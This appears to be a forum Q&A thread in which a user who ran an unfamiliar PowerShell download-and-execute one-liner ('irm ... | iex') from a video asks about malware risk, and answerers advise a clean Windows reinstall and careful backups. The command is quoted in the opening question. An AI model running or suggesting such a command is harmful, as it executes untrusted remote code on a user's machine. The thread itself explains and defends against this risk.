I was trying to install a game from my existing library onto another drive, but the installation kept failing. I found a video suggesting that I run `irm steamproof.net | iex` in PowerShell, and I executed it without checking what it did. The command downloaded content from a website and immediately ran it as PowerShell code. The script appears to modify the Steam installation and download a DLL into its folder, but I cannot determine whether it was safe. I have disconnected the computer from the internet, uninstalled Steam, removed local Steam files, scanned with Windows Defender, signed out of other devices, and changed my passwords. Defender reports no threats, but I am still worried about malware and want to know whether I should reinstall Windows and how to safely preserve important work files and game data.
4 Answers
Before wiping the machine, back up only personal documents that you genuinely need, such as DWG files. Use a trusted offline or freshly scanned USB drive, avoid copying executables, scripts, installers, DLLs, browser profiles, or unknown archives, and scan the backup from a clean computer before opening anything. Do not restore an entire old system image, since it could reintroduce the problem. Game files can usually be downloaded again, and important work files are more valuable than preserving the current installation.
The pasted script is not automatically proof of malware, but it does download a DLL from an unfamiliar site and place it alongside Steam, which is enough reason not to trust it. Looking at the website or checking network ports cannot establish that the machine is clean. Reinstalling may turn out to have been unnecessary, but it removes the uncertainty and is the standard response when arbitrary code has been executed.
Treat the computer as potentially compromised. `irm` is an alias for `Invoke-RestMethod`, and `iex` is `Invoke-Expression`; together, they download whatever code the website returns and execute it immediately. A clean Defender scan does not prove that nothing happened. The safest response is to change passwords from a separate trusted device, enable two-factor authentication, disconnect the affected PC, and perform a clean Windows reinstall from official installation media. A built-in reset may be adequate if you choose the option that removes everything, but a clean install from freshly created media is more reassuring.
You generally do not need to change BIOS firmware for this. Create Windows installation media on a known-clean computer, boot from it, delete the existing Windows partitions during setup, and reinstall. Make sure you have activation and driver information available first.
If you decide not to reinstall, you would need a careful incident-response investigation: preserve relevant logs, inspect persistence locations, analyze downloaded files, and scan from trusted offline tools. That is difficult to do confidently on your own, so simply uninstalling Steam and running one antivirus scan is not a reliable substitute. Do not run the command again, and do not trust any site that tells you to paste commands into PowerShell without explaining every part.
There is no completely risk-free way to preserve files from a potentially compromised system. If the files are irreplaceable, copy only the necessary data and have it examined before using it on the rebuilt computer.